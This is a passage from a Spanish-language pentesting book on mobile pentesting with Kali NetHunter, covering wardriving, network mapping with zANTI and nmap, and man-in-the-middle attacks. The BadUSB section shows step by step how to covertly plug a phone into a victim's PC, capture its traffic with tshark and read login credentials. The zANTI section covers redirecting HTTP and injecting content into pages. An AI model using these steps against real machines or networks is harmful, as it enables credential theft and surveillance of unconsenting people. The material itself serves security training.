Está en la página 1de 146

Por qu hacer pentesting desde tu movil?

Bien, a decir verdad, es preferible hacerlo desde un computador normal como lo es una laptop, sin
embargo, habr ocasiones en las que vas a requer una flexibilidad o movilidad mayor para una o
varias situaciones determinadas, ya que estas no se van a prestar para hacer uso del equipo antes
mencionado.

En cambio, con un movil puedes aproximarte ms a la solucin que ests buscando para esta
situacin, ya sea que quieras utilizar t telfono u otro dispositivo movil como una Tablet. Existen
diferentes piezas de hardware que pueden realizar o se prestan para el trabajo que quieres hacer,
existe un dispositivo llamado Pwnie Express, este es un dispositivo movil con la potencia en
hardware suficiente para llevar a cabo tareas de pentesting, adems ya viene precargado con
herramientas y cuenta con ciertas modificaciones en el hardware a fin de hacer el trabajo antes
descrito.

Por obvias razones este dispositivo tiene un costo un poco elevado, as que si puedes adquirirlo,
tendrs una ventaja grande, ya que si con anterioridad habas hecho tareas de pentesting desde
el movil entenders de que estoy hablando, sin embargo, existe otra forma que se puede igualar
a ello.

Apuesto a que conoces o alguna vez viste o usaste aplicaciones o software bastante simple o
bsico para dispositivos mviles (En su mayora Android) que permiten hacer Hacking o
Pentesting, en algn un momento remoto pueden llegar a ser tiles, pero jams sern igual de
eficientes y completas que el software o las herramientas que se encuentran en una distribucin
para pentesting, en este caso se trata de Kali NetHunter.

Esta es una distribucin para pentesting lanzada por Offensive Security (Desarrolladores de Kali
Linux), en donde podrs encontrar una extensa variedad de herramientas para hacer pentesting y
realizar pruebas del mismo tpico, obviamente no encontrars todo lo existente en Kali Linux en
Kali NetHunter, ya que habr funcionalidades sobre las que un movil no se presta para ejecutar,
por ende, esta distribucin contiene menos coas, pero las suficientes para poder hacer bien el
trabajo, y pos supuesto, habr algunas que instalars manualmente, ya que Kali NetHunter no las
trae viene precargadas, un ltimo detalle es que Kali NetHunter puede funcionar en conjunto con
tu dispositivo movil sin generar gran diferencia, no es tener Linux instalado, ya que Kali NetHunter
opera sobre Android.

En esta primera parte del libro, aprenders a utilizar un dispositivo movil para realizar pentesting
de diferentes maneras mediante vectores de ataque distintos, aqu lo haremos de 2 formas:

Usando software algo avanzado o aplicaciones complejas para hacer pentesting desde el
movil.
Haciendo uso de las herramientas existentes en Kali NetHunter.
Cmo configurar un movil para que
funcione con Kali NetHunter?
Un detalle que no se puede dejar pasar es la compatibilidad, as es, los desarrolladores de Kali
NetHunter solo lo hicieron para que funcionase en dispositivos Nexus, del modelo 5 hasta el ms
reciente el da de hoy, que se trata del OnePlus One, ya que los dems mviles no se prestan para
que Kali NetHunter cumpla con su funcionamiento adecuado.

Obviamente hay dems modelos de telfonos que operan actualmente con la distro, sin embargo,
Offensive Security public una lista de los dispositivos mviles que oficialmente se les puede
instalar y tener funcionando a la perfeccin a Kali NetHunter, si encuentras otros dispositivos
ajenos a la lista que tienen instalado a Kali NetHunter, pueden correrlo, de una forma no oficial,
estos son los dispositivos oficialmente nombrados por Offensive Security para poder instalarles
Kali NetHunter:
Nexus 5, Nexus 6, Nexus 7, Nexus 9, Nexus 10 o OnePlus One

Esto es importante y que la estabilidad de un sistema, del que sea, lo es todo, y si en un inicio p
Boot algo sale mal (qu es muy comn), el dispositivo puede sufrir daos irreversibles y puede
quedar inutilizable, por lo que requerir un Hard Reset, por ello solo es recomendable utilizar a
Kali NetHunter solamente sobre los dispositivos antes mencionados.

Para el caso de este libro, el movil que se utiliz para hacer las demostraciones fue el Nexus 6.
IMPORTANTE: Existen diferentes mtodos para conseguir la instalacin de Kali NetHunter en un
dispositivo movil, unas mejores que otras, pero existe un detalle, todas TODAS tienen algo en
comn, lo laborioso, por lo que te resultar mucho ms complejo encontrar instrucciones en texto.
Debajo habr el URL de un video en donde encontrars la forma ms confiable para conseguir
esta instalacin, sin embargo, en el material referente a este captulo encontrars el Software
requerido para completar esta instalacin.

Le otorgamos el crdito del video y aspectos de Copyright a la persona que es duea de este
metraje.
https://www.youtube.com/watch?v=Tb_0nOGnTUI

Una vez que hayas finalizado la instalacin y los pasos para dejar listo el movil para realizar
pentesting, podrs dar inicio a los temas que encontrars a partir de la pgina siguiente,
asumiendo que ya tienes a Kali NetHunter funcionando en tu dispositivo movil. En el enlace de
abajo encontrars ms info a detalle sobre Kali NetHunter:
https://www.kali.org/kali-linux-nethunter/
Recoleccin de informacin desde tu mvil.
Descubrimiento y anlisis de Redes (WarDriving).
Esta accin nos permite llevar a cabo la tarea de hallar las redes que se encuentren en el
rea donde estamos situados, adems que se nos puede presentar la posibilidad de explotar
conexiones de las redes WLAN con las que nos topemos, esto mientras recorremos el camino,
(esto puede ser caminando, manejando). Para hacer WarDriving necesitars un dispositivo
que cuente con una antena interna o externa que est trabajando en modo promiscuo, este
dispositivo puede ser una Laptop o un mvil, entre lo que se puede obtener gracias al
WarDriving se encuentra bastante informacin til como lo es:

SSIDs de los AP (Access Points)


Intensidad de los Access Points
Tipo de cifrado del password que protege al AP
Canal de Red
Direccion MAC

Uso de Wifi Analyzer

Toda la informacin anteriormente enumerada se puede conseguir mediante el uso de una App
llamada Wifi Analyzer, adems de que nos permite realizar otras tareas como monitoreo
de intensidad en tiempo real, mostrar grafico de Canales, Listas de AP (Access Points),
hacer uso de un medidor de seal, etc.

Esta App se puede conseguir de forma gratuita en PlayStore, desde donde se descargar e
instalar.

Imagen 1.1: Bsqueda de Wifi Analyzer


Imagen 2.2: Wifi Analyzer listo para usarse.

Luego de haberse instalado la aplicacin la abriremos, al hacer esto, Wifi Analyzer


automticamente encontrar las redes inalmbricas que estn funcionales en el rea donde
estemos.

Mostrando as un grfico que indica las intensidades de la seal de los Access Points
hallados, esta se mide en dBm (decibel milliwatts) mientras menor sea el nmero de esta
unidad de medida, ms fuerte ser nuestra seal, asi como se ejemplifica en la imagen. En
este caso el AP con la seal ms fuerte es 430FFST, que es al que est conectado el
dispositivo:
Imagen 3.3: Grafica de Access Points y sus intensidades de seal.

Una vez identificado el canal Wi-Fi, podremos obtener ms informacin detallada sobre este,
como puede ser la obtencin de un grfico en tiempo acerca de los Access Points que
hallemos, tambin la enumeracin de los Access Points encontrados, etc.

Para visualizar esto, abriremos un pequeo men desplegable que se encuentra en la parte
superior derecha de la App, donde se mostrar distintas funciones, indicndonos la que
estamos llevando a cabo en ese momento, a continuacin, realizaremos cada una de estas:

Imagen 4.4 y 1.5: Funciones de visualizacin de Wifi Analyzer


Grfico de tiempo: Este nos permite monitorear en tiempo real el comportamiento de los
canales Wi-Fi que se encuentren en el ara, de esta forma se puede tener una
comprension mejor acerca del comportamiento de ciertos Access Points y sus canales
Wi-Fi.
En el siguiente ejemplo se muestra la unidad de medida para la fuerza de la seal (dBm), los
nombres de los Access Points y su respectivo color de distincin al cual al seleccionar una
determinada red, su seal se resaltar en el color que se muestre en nombre del Access Point
que queramos seleccionar:
Imagen 5.6, 1.7 y 1.8: Muestra de grfico de tiempo sobre distintos APs.

Puntuacin de Canales: Esta funcin lo que hace es mostrarnos los mejores canales en
nuestro Access Point y los que ms estn siendo usados, en donde se puede visualizar el
Nombre del AP, el canal actual sobre el que opera y su Rating o puntuacin de cada uno
de estos canales.

Esto puede llegar a ser bastante til ya que se puede saber que canales estn siendo
utilizados por ciertas redes, con esto se puede evadir el LAG en el trfico de la red, y asi
obtener una seal ms fuerte para la red que se establezca en un rea, en la siguiente
demostracin se ejemplificar esto.
Imagen 6.9 y 2.0: Puntuacin de canales y el rango de estos, sobre el cual operan ciertos Access Points.

Listado de Access Points: Al visualizar la lista de los APs encontrados, podemos hallar
informacin til como es: la direccin fisca de cada AP (direccin MAC), la direccin IP,
el tipo seguridad o cifrado con el que cuenta este AP, un icono que representa un estimado
de la intensidad de la seal que emite este AP, tambin la intensidad en su medicin exacta
de dBm que tambin se muestra en tiempo real, el canal en el que opera este AP y la
compaa o marca que fabrico el hardware del router:

Imagen 2.1: Listado de Access Points y con sus respectivos detalles cada uno.
Medidor de seal: Esta funcin nos permite realizar la medicin en tiempo real de la
intensidad de la seal del Access Point que se haya escogido, esto se puede hacer desde
el botn anteriormente descrito, ya que desde ah se enumeran las redes Wi-Fi disponibles
en el rea.
Tambin nos muestra el nombre de cada AP y su direccin MAC, al realizar la medicin los
datos se arrojaran en dBm, en este ejemplo la intensidad del AP fue de -55 dBm:

Imagen 2.2: Medicin de intensidad de seal Imagen 2.3: Lista de Access Points disponibles.
del AP 430FFST.

Como se demostr en estos ejemplos, el WarDriving puede llegar a ser algo de suma utilidad,
ya que nos permite encontrar redes inalmbricas y obtener informacin detallada de estas
mediante el uso de diferentes dispositivos, ya sea un AP, una computadora porttil o un mvil,
todo esto mientras recorremos una determinado locacin o rea.

Esta accin se puede definir como el Mapeo de los Access Points en un rea definida, esto
puede llevar incluso a descubrir redes con fallos de seguridad o vulnerables a cierto tipo
de ataques.
Recoleccin de informacin y Network Mapping.
Luego de haber finalizado con la Fase de WarDriving, una vez identificada la red objetivo,
podemos obtener mayor informacin acerca de esta. En donde lejos de saber la Direccin
MAC del router, nombre de la red, intensidad de su seal, canales sobre los que opera, etc. Es
momento de averiguar los detalles sobre cada dispositivo conectado a esta red, todo esto se
puede conseguir gracias al Network Mapping o Mapeo de redes.

La funcin principal de esto es la proporcionar una descripcin visual de la red objetivo,


identificando los dispositivos que estn conectados a estas (Hosts) y obtener informacin sobre
estos.

El mapeo de red permiten identificar el sistema operativo de estos hosts, lo puertos que estn
abiertos, cerrados y filtrados, asi como el nombre y version de los servicios asociados a estos,
como es de saberse, mientras ms informacin tengamos sobre nuestro objetivo, mayores
posibilidades de xito tendremos al querer perjudicarlo. Entre las utilidades que ofrece esta
accin, las que ms ventajas nos dan son:

Identificar Hosts
Deteccin de S.O
Anlisis de red.
Escaneo de puertos
Fingerprinting de Servicios.

Uso de zANTI.

ZANTI es un framework que nos permite llevar a cabo tareas de recoleccin de informacin,
adems de que puede realizar ataques como lo es MITM (Man in the Middle), Spoofing de
direcciones MAC, auditar la complejidad de passwords, etc.

En esta serie de demostraciones se ejemplificar con el apoyo de esta herramienta el escaneo


de Hosts en nuestra red.
NOTA: Este software no est disponible en PlayStore, por lo que se tendr que conseguir
en su pgina oficial, en donde solo tendrs que ingresar un e-mail donde se enviarn las
instrucciones de su descarga e instalacin en el mvil:

https://www.zimperium.com/zanti-mobile-penetration-testing

Imagen 2.4: Campo para ingresar e-mail en


Zimperium.

Imagen 2.5: Recepcin de email.

Una vez completada esta instalacin, abrimos el Framework y seguido de eso nos mostrar
los hosts encontrados mediante un escaneo rpido que hace al iniciar, esto no quiere decir
que se encontraron todos, para asegurarnos de que aparezcan todos los dispositivos
conectados a esta red, realizaremos una vez ms este escaneo, con el botn Refresh.

Al hacer esto aparecer y nuevo recuadro indicndonos la funcin del mapeo y mostrando 2
opciones, Borrar registros y Anlisis intrusivo, por ahora solo habilitaremos la primera
y seleccionaremos OK para comenzar el escaneo. Ms adelante trabajaremos con la
segunda funcin:
Imagen 2.5, 2.6 y 2.7: Proceso para mapeo de red en la que nos encontremos.

Esperamos a que el escaneo finalice. Al terminar se mostraran los dispositivos conectados


(Hosts) a esta red, indicando el sistema operativo con el que cada dispositivo cuenta, su
direccin IP y su correspondiente direccin MAC (Ambas censuradas) , tambin el nmero
de puertos abiertos que estos Hosts tengan:

Imagen 2.8: Mapeo de red finalizado.

Al terminar el escaneo, podremos interactuar con los dispositivos que se muestren en la lista
y poder llevar a cabo mltiples acciones con ellos, en este ejemplo se usar el dispositivo
nmero dos en la lista, aquel que usa Windows como S.O y cuenta con 9 puertos abiertos, al
seleccionarlo podemos ver 3 columnas:
Comentarios: En esta seccin podemos escribir notas acerca del objetivo seleccionado en
zANTI:
Imagen 2.9: Seccin de comentarios.

Acerca de: Es en donde automticamente nos dirigen al escoger un dispositivo de la lista,


dentro de esta columna se encuentran diferentes funciones para llevarse a cabo sobre el host
o dispositivo, como pueden ser las acciones operativas de hacer anlisis ms completos
hacia este dispositivo, establecer conexiones con l, etc. Asi como tambin est el repertorio
de ataques, que ms adelante veremos.

Direccin IP y MAC: Es la direccin que identifica al objetivo seleccionado y la otra es su


direccin fsica.
Nombre: Nombre correspondiente al Host.
Puertos: Enumeracin de los puertos abiertos sobre los cuales se podra llevar a cabo la
explotacin de este dispositivo o sistema informtico, en este caso se encuentran abiertos los
puertos 137, 135, 139, 443, 445, 902, 912, 5357, 6646.

Imagen 3.0: Columna principal (Acerca de).


Anlisis Nmap: Dentro de esta columna se encuentra la informacin recopilada mediante
Nmap, esta se obtuvo al momento en el que se mape la red para poder identificar los
dispositivos conectados a esta. Al visualizar la informacin conseguida por Nmap, se
enumerarn todas las direcciones IP de los hosts de los dispositivos que estn dentro de
nuestra red, as como la informacin obtenida acerca de ellos, aqu un ejemplo con el
dispositivo que seleccionamos:

PORT, STATE Y SERVICE: En estas 3 columnas se enumeran los puertos que se encuentren
abiertos, cerrados o filtrados. En el caso de los abiertos en la columna Service se encuentra
la informacin acerca del servicio que actualmente est ejecutndose en l, as como detalles
sobre versin, etc.

Running OS: En el momento que se realiza el escaneo se lleva a cabo un Fingerprinting,


este Fingerprint lo que hace es recolectar informacin detallada acerca del sistema operativo
que corre en el dispositivo actual, en este caso solo son suposiciones (JUST GUESSING),
en donde nos mostrar los posibles sistemas operativos con los que puede operar este
dispositivo, en este caso se menciona a Vista/ Windows 7 con una posibilidad del 93%:

Imagen 3.1: Resultados de Nmap acerca del objetivo.


Haremos otra demostracin con un diferente Host u Objetivo que se encuentra dentro de
nuestra red, en este ejemplo se trata de un Host con S.O Linux, su respectivo nombre del Host
, que es OWASPBWA, as como tambin vemos que cuenta con 10 puertos abiertos:

Imagen 3.2: Host enumerado en la lista con su descripcin.

Ahora que tenemos identificado el Host, realizaremos los mismos pasos que en la
demostracin anterior para poder ver ms informacin detallada acerca de este Host, como es
nmero de cada puerto abierto con el que este cuenta. En este caso los que se hallan en este
estado son el: 22, 80, 139, 143, 443, 445, 5001, 8080, 8081 y 137.
En la columna Anlisis con Nmap se podr encontrar informacin acerca de los servicios
en los puertos abiertos del Host, as como el protocolo con el que funciona el puerto, el nombre
del servicio, etc:
Imagen 3.3, 3.4 y 3.5: Descripcin del Host e informacin recopilada con Nmap por zANTI

NOTA: zANTI hace que la informacin recolectada por Nmap se visible de una forma organizada
y entendible para el usuario, sin embargo esto no quiere decir que solo por este mtodo
haremos uso de Nmap desde nuestro dispositivo con NetHunter. Al igual que en las
distribuciones para pentesting, la forma ms rpida de inicializar Nmap es desde la terminal
de comandos, simplemente ejecutando nmap h:

Para ejecutar un comando desde nuestro dispositivo Android, tenemos que usar la terminal,
esta se encuentra en el men de aplicaciones, su icono identificador es el siguiente:

Imagen 3.6: Ubicacin de terminal en el repertorio de aplicaciones.

Puesto a que ocuparemos bastante la terminal de comandos de NetHunter, ser necesario


explicar algunas cosas antes de continuar. Al momento de que decidimos abrir una terminal en
nuestro dispositivo con NetHunter nos aparecern 3 opciones, estas 3 opciones son diferentes
tipos de shells, (KALI, ANDROID Y ANDROIDSU):
Imagen 3.7: Shells para su seleccin.

KALI: Al escoger esta shell, se nos abrir una terminal de comandos bastante parecida a las
que existen en las distribuciones para pentesting, en donde podremos llevar a cabo la
ejecucin de comandos que se involucren o sean afn con las funciones para hacer
pentesting desde nuestro dispositivo Nexus, as como tambin hacer uso de las
herramientas que trae consigo NetHunter:

Imagen 3.8: Shell de Kali en NetHunter.

ANDRIOD: Por su significado Android Super User, aqu se nos provee de una shell de tipo
Unix, en donde podremos realizar la ejecucin de comandos con distinta finalidad a los de la
shell de KALI, aqu nos arrojan la shell sobre los directorios del sistema Android, sin embargo
no podremos ejecutarlos todos o llevar a cabo una exploracin completa, ya que no tenemos
privilegios de carcter administrativo en esta shell:

Imagen 3.9 y 4.0: Shell de Android y permisos denegados.


ANDROIDSU: Esta shell solo aparece en dispositivos rooteados, por lo que NetHunter
muestra su existencia de esta shell, su funcin principal es la ejecucin de comandos como
Sper Usuarios, por lo que se nos otorgan permisos de carcter administrativo o de
mxima autoridad en el sistema:

Imagen 4.1 y 4.2: Shell tipo ANROIDSU y con permisos y privilegios otorgados.

Ahora que entendemos la finalidad de cada uno de los tipos shell, escogeremos aquella que
nos permita hacer uso de las herramientas que dispone NetHunter, la shell de Kali. Al abrirse
la terminal ejecutaremos el comando: nmap -sV -O Direccion IP del Host, lo que nos
mostrar los informacin detallada acerca de ls servicios funcionando en cada puerto abierto
del host especificado, asi como los detalles acerca del S.O de ese Host, la siguientes
demostraciones sern sobre el Host OWASPWBA y el Host USER:

Host OWASPBWA:

Imagen 4.3, 4.4 y 4.5: Detalles acerca de los servicios en los puertos y S.O del Host OWASPBWA.

Host USER:
Imagen 4.6 y 4.7: Detalles acerca de los servicios en los puertos y S.O del Host USER.
Ataques Man in the Middle mediante NetHunter.
Despus de haber finalizado con la fase de recoleccin de informacin usando un dispositivo
mvil mediante el apoyo de zANTI, que como se vio, es una herramienta que nos permite llevar
a cabo mltiples tareas relacionadas con la recoleccin de informacin, desde escaneo e
identificacin de puertos, servicios y hosts hasta ataques MITM y WarDriving para obtener
informacin detallada acerca de las redes que se encuentran en el rea que transitemos, todo
desde esta aplicacin.

Habr ocasiones en las que se requerir algo de movilidad y una mayor discrecin para
llevar a cabo estos ataques para poder hacer sniffing en la red que estemos dentro, ya sea
LAN o WLAN, ya que el uso de un computador porttil o laptop resulta inadecuado para realizar
estos ataques en un cierto tipo de ambientes, aqu es el momento en el que entra Kali
NetHunter y las herramientas que trae consigo para hacer ataques de tipo MITM (Man in the
Middle).

Gracias al apoyo de estas podremos ver informacin sensible dentro del trafico al que le
haremos sniffing con la ayuda de nuestro dispositivo mvil y el apoyo de las herramientas que
trae consigo, en donde conseguiremos realizar una irrupcin en algn canal de comunicacin
legtimo y confiable.

As para poder conseguir cierta informacin que supuestamente solo est destinado el usuario
a leer, a lo largo de este segundo mdulo se har uso de las herramientas que trae consigo
NetHunter para realizar ataques de tipo MITM, los cuales sern:

BADUSB MITM Attack.


MITM con zANTI
Ataque MITM mediante BADUSB.

Los usos y capacidades avanzadas de la implementacin de hardware USB para su uso


en actividades de espionaje ciberntico es todava algo que mucha gente en el rea de la
informtica desconoce. Los profesionales de seguridad requieren del uso de las herramientas
y el equipo correcto para poder realizar ataques en un determinado ambiente, y entre las
herramientas de apoyo que ms destacan par estas tareas se encuentra la BADUSB, esta
es una herramienta capaz de poner en peligro y comprometer las comunicaciones de lnea
fija por USB a travs de un ataque Man in the Middle.

Cmo es que funciona?


El funcionamiento de este vector de ataque consiste bsicamente en conectar el dispositivo
mvil a un PC, se enciende el dispositivo y se conecta al equipo mediante un cable USB,
cuando se conecta a un equipo vctima el mvil actuar como una interfaz de red, al conectar
el cable USB a un PC obligar a todo el trfico del ordenador (Windows o Linux) pasar a
travs del dispositivo NetHunter, en donde estaremos posicionados como Man in the Middle
esperando a que el trfico pasa por nuestro mvil.
NOTA: Para que este ataque funcin debe estar habilitada la transferencia de datos va USB
(MTP):

Imagen 4.8: Conexin MTP.


1. Bad USB MITM ATTACK.
En este primer ataque se utilizar el dispositivo Nexus con Kali NetHunter para realizar MITM,
esto se conseguir al conectarlo al equipo objetivo mediante un cable USB, lo que usualmente
se hace para transferir archivos entre los 2 equipos o solamente para poner a cargar nuestro
mvil, aqu es donde interviene un uso bastante simple de ingeniera social. As que lo se
har en este primer escenario ser conectar nuestro mvil al equipo vctima, mientras est
corriendo nuestro ataque Bad USB, al hacer esto el ordenador no reconocer al mvil
conectado como un dispositivo multimedia o de almacenamiento externo, si no como una
tarjeta de red o interfaz de red, por lo que al conectarlo pasar de tener una conexin Wi-
Fi a tener una tipo Wired (Ethernet), en caso de que fuese lo contrario, solo cambiar el
nombre o nmero de interfaz de red (Eth3 , Eth5, Eth6, etc) de lo cual ser lo nico extrao
que llegar a notar la vctima, bsicamente nuestro mvil actuar como una tarjeta de red,
por la cual pasar todo el trfico entre el cliente y servidor, donde el cliente ser la vctima y
el servidor ser el Router o AP (Access Point)

Preparando lo necesario:
Antes de conectar el dispositivo al ordenador objetivo, ser necesario realizar algunas
configuraciones previas a la conexin por USB, ya que si se conecta como se acostumbra
a hacerlo, no se capturar nada. Para esto, abriremos una terminal en el dispositivo, al hacerlo
escogeremos la de tipo KALI, que ser sobre la que trabajaremos. Dentro, navegaremos
hacia el directorio /sdcard/nh_files en donde se hallan archivos que sern parte de nuestra
configuracion.
NOTA: La ubicacin del directorio /sdcard puede variar.

Dentro del directorio, se encuentra un archivo con extensin .txt, con nombre Flushiptables,
el cual contiene lneas con comandos que se encargarn de establecer una configuracin
para despejar las IP Tables en Linux, esto lo haremos mediante el comando bash
Flushiptables.txt asi nuestro mvil funcionar como una tarjeta de red para que el trfico
fluya por nuestro dispositivo. Todo ya est listo para iniciar nuestro ataque por mediante Bad
USB mediante el men de Kali NetHunter.
Imagen 4.9 y 5.0: Directorio de Flushiptables.txt

Sin embargo no est de ms demostrar como iniciar este ataque mediante la terminal de Kali
en tu dispositivo, para esto, navegaremos al directorio /configs, que se encuentra en la
carpeta /nh_files, dentro se hallan 2 archivos con extensin .sh, con nombre
startbadusb, uno version kitkat y otro version lollipop, en este caso usaremos el segundo,
ya que esta es la version de Android que trae el movil Nexus, para esto ejecutaremos el
comando bash startbadusb-lollipop, para inicializar las instrucciones que trae dentro, al
ejecutarse se mostrar la version de las iptables, la interfaz sobre la que est corriendo el
script de BADUSB (rndis), y su tipo hid (Human interface device)

Imagen 5.1: Comando Bash.


Ahora ya sabemos cmo iniciar el ataque mediante lnea de comandos en una
terminal de Kali dentro de nuestro dispositivo, ahora es momento de hacerlo de la
manera ms rpida mediante el men de NetHunter, escogiendo la opcin llamada
Bad USB MITM Attack.
Una vez dentro de la funcin Bad USB MITM
Attack, nos aparecern mltiples opciones,
as como la descripcin de la funcin Bad USB
y la interfaz con la que contamos en el
dispositivo para esta tarea, en este caso se
trata de rndis0.

En la parte superior, aparecern 2 opciones,


una para iniciar el ataque y otra para
detenerlo, lo iniciamos con la primera (Start
BadUSB Attack). Al hacer esto inmediatamente
nos aparecer un recuadro indicndonos que
Kali NetHunter ha otorgado permisos tipo root
para trabajar sobre esta funcin, esto aparece
cada que se ejecuta un ataque desde tu movil
con NetHunter.

Imagen 5.2 y 5.3: Men de ataque BADUSB


Ahora que hemos configurado parte del hardware y haber puesto en accin el ataque, con
esto configurado se puede conectar el telfono al equipo ajeno al que se le quiere hacer
sniffing mediante MITM, ya que los paquetes estn pasando por nuestro movil, el cual est
actuando como una tarjeta de red, simplemente podemos visualizar el trfico desde nuestro
movil, el detalle est en que solo lo dejamos cargando un momento en el equipo ajeno,
por lo que sera bastante sospechoso e ingenuo estar usando el movil para visualizar
paquetes y trfico, mientras est conectado al equipo objetivo, es por esto que pondremos a
trabajar una herramienta llamada tshark.
Lo que har ser filtrar en un archivo de extensin .cap todo el trfico que este fluyendo por
nuestro movil que tiene corriendo un MITM, de esta manera, podremos revisar este archivo
de captura con nuestro analizador de red preferido, en este ejemplo se usar Wireshark.
NOTA: Wireshark visualizar el archivo desde una computadora, no desde el movil.

Para configurar tshark, ejecutaremos el siguiente comando sobre la terminal en la que nos
encontrbamos: tshark -i rndis0 -w Nombre del archivo de captura .cap
Donde:
tshark: hace uso de la herramienta
-i: Indica la interfaz, en este caso rndis0, que se vio en la funcin de Bad USB MITM
Attack en el men de NetHunter.
-w: Aqu se especifica el nombre del archivo de captura con extensin .cap
Al ejecutar esto, tshark, comenzar a filtrar los paquetes, indicndonos con un contador los
paquetes filtrados, el archivo de captura se guardar dentro el directorio que se ejecute el
comando, en esta demostracin se recorri un directorio para que se guardar en nh_files:

Imagen 5.4: Configuracin de tshark


Ahora, que tenemos el ataque corriendo mediante la terminal, tambin mediante el men de
NetHunter y teniendo a tshark trabajando, es momento de conectar con un cable USB
nuestro mvil al equipo objetivo.
NOTA: Recuerda habilitar el modo MTP, para que la PC reconozca el dispositivo y este
despus se convierta en una tarjeta de red para el equipo.
Ya que hayamos conectado el mvil al equipo, este automticamente cambiar de ser un
dispositivo multimedia o extrable a convertirse en un adaptador de red para el equipo,
por lo que es posible que aparezca un aviso de una nueva conexin establecida, la cual
gener el mvil, a simple vista para el usuario promedio-intermedio, esto ser lo nico extrao
que va a percatar, si es que le presta atencin al aviso que dura unos segundos. En la
siguiente imagen se muestra el centro de redes y recursos compartidos en Windows, donde
aparecen las 2 conexiones existentes, en donde Ethernet 3, enumerada como Red 5 es la
conexin que se gener con el mvil:

Imagen 5.5: Dispositivo reconocido como tarjeta de red

Ahora, que est conectado al equipo y configurado con un MITM corriendo, solo queda esperar
a que esta persona contine con su rutina navegacin o a que pase un intervalo de tiempo
para que recojamos el movil despus.

En este ejemplo, durante el tiempo que estuvo conectado el movil se naveg hacia diferentes
sitios web que usan protocolo HTTP, los cuales contienen uno o ms formularios de Loggeo,
por donde se ingresa un usuario, ID, y un password, las plataformas de trabajo utilizan
servicios que contenga alguna pgina con algn login, y puesto a que tenemos un MITM
corriendo y capturando el trfico que pasa del cliente al router, la informacin que pase por
esas pginas o formularios estar expuesta a que la podamos leer con posterioridad.
Los sitios visitados se vern enumerados por el analizador de red que ocuparemos para
visualizar el archivo de captura, aqu un ejemplo de envo de credenciales ficticias en uno de
los sitios visitados:

Imagen 5.6 y 5.7: Intento de Loggeo.

Una vez que se haya pasado el tiempo que hayamos decidido poner en marcha el ataque,
simplemente se desconectar el movil del equipo y terminaremos el proceso de tshark, para
hacerlo basta con presionar el botn del volumen bajo y presionar C en el teclado, en
NetHunter esto es el equivalente al Ctrl + C en Linux para detener procesos en una terminal
de comandos, en donde se muestra la cantidad total de paquetes filtrados en el archivo de
captura y seguido de la finalizacin del proceso:

Imagen 5.8: Detencin de tshark.

Ya que se haya detenido el proceso, solo falta extrae el archivo de captura que gener tshark
de donde reside en el movil y abrirlo con nuestro analizador de red para ver el contenido de
estos paquetes, los cuales se visualizarn con Wireshark.
Imagen 5.9: Directorio en donde se ubica el archivo .cap

NOTA: En este ejemplo se usa el S.O Parrot Security, en done ya viene precargado Wireshark,
cabe mencionar que esta herramienta est disponible para Windows, Mac y Linux.

Ya estando en Parrot, una vez que tengamos el archivo .cap dentro de l, abriremos Wireshark,
el cual se puede iniciar mediante lnea de comandos o desde el men de aplicaciones en la
categora de Sniffing/Spoofing:

Imagen 6.0 y 6.1: Transferencia de archivo .cap e inicio de Wireshark.

Una vez abierto Wireshark, no importa que plataforma se use para trabajar con l,
estando dentro, seleccionaremos la opciones Open a capture file, desde de la cual
navegaremos hacia donde tengamos el archivo .cap y lo abriremos:
Imagen 6.2: Wireshark.

Una vez abierto, se mostrar todo el contenido del archivo de captura, organizndose por
columnas, en donde nos indica el origen/fuente, el destino, el contenido, protocolo,
tamao, e informacin o descripcin del paquete:

Imagen 6.3, 6.4 y 6.5: Ubicacin y visualizacin de paquete contenedor de


Usuario y password.
2. MITM mediante zANTI
Hasta este punto hemos terminado con las configuraciones para ataques MITM de forma
manual para poder realizar la captura del trfico, ahora es momento de usar herramientas
automatizadas para hacer estos ataques. Como se vio en el captulo anterior, zANTI es una
herramienta bastante extensa que cuenta con un repertorio de funciones bastante amplio para
trabajar sobre una red inalmbrica y llevar a cabo tareas como enumeracin de hosts,
identificacin de puertos y servicios como se vio anteriormente. Entre las acciones de ataque
que se pueden realizar con zANTI se encuentran los ataques MITM, en donde lejos de solo
hacer la captura de trfico y passwords como las herramientas anteriores, nos permite llevar a
cabo acciones como:
El re direccionamiento de una pgina hacia otra.
Filtrar las imgenes que el navegador del host victima visualiza en ciertas pginas.
insertar cdigo HTML en las pginas interceptadas.
Remplazar las imgenes que contenga un sitio determinado por la de nuestra preferencia y
dems funciones con las que cuenta.
En las siguientes demostraciones se ejemplificar el uso de las funciones antes mencionadas
mediante pruebas a un host en una red Wi-Fi.

Redireccin hacia otros sitios web: Cuando se lanza un ataque MITM hacia un objetivo, se
puede filtrar, retener o alterar el trafico, una forma de ejemplificarlo es mediante el
redireccionamiento de un sitio web hacia otro, en zANTI solo basta con activar la opcion
Redirigir HTTP en donde solo tendremos que cambiar el link que viene por defecto por el de
nuestra preferencia:
Seguido de esto, nos saldremos del input y ya estar corriendo estar funcionando esta accin.
Qu es lo que har? Al activarla, todo el trafico que contenga protocolo HTTP ser redirigido
al enlace o URL que proporcionamos, es decir, toda pagina que el host objetivo visite y use
protocolo HTTP ser redirigida a la que configuramos en zANTI desde nuestro movil. Ejemplo:
Iniciamos zANTI, y escaneamos la red en la que nos encontremos, en donde
seleccionaremos el host victima/objetivo para que podamos llevar a cabo las acciones de
ataque hacia este, en donde seleccionarmeos la categoria Man in the Middle:

Imagen 6.6 y 6.7: Escaneo y seleccin de ataque MITM en zANTI.

Ya seleccionada la accin de ataque Man in the Middle pasaremos a un nuevo panel en


donde encontraremos las funciones para trabajar con esta modalidad de ataque, en este
panel podremos ver la IP del objetivo seleccionado para ataque MITM, el boton de
inicio/detencion del ataque, las opciones de uso y tipo de MITM. Para poder iniciar un
ataque MITM desde zANTI, se tendr que configurar las opciones del mismo e iniciarlo con
el boton de la parte superior derecha, en el caso de que se quiera detener, se pulsa de nuevo
el botn:

Imagen 6.8: Apagado y encendido de la accin de ataque.


Imagen 6.9: Seleccin de mtodo de ataque MITM.

Pedidos registrados: Aqu se visualizarn las peticiones http/https que se hagan en red por
parte del host, enlistando los pedidos de navegacion, cabe mencionar que solo se filtraran
las credenciales de accesso de los sitios que redirigan de HTTP a HTTPS.

Imgenes registradas: Aqu se filtrarn las imgenes que se visualizen en el navegador al


ingresar a ciertos sitios web, similar al funcionamiento de Drifnet, esta accin nos permitir
visualizar en nuestro dispositivo las imgenes que se carguen en el navegador victima, en el
siguiente eejmplo se demostrar su uso mediante la busqueda de imgenes en Google desde
el navegador victima, mostrandolas posteriormente en el dispositivo:

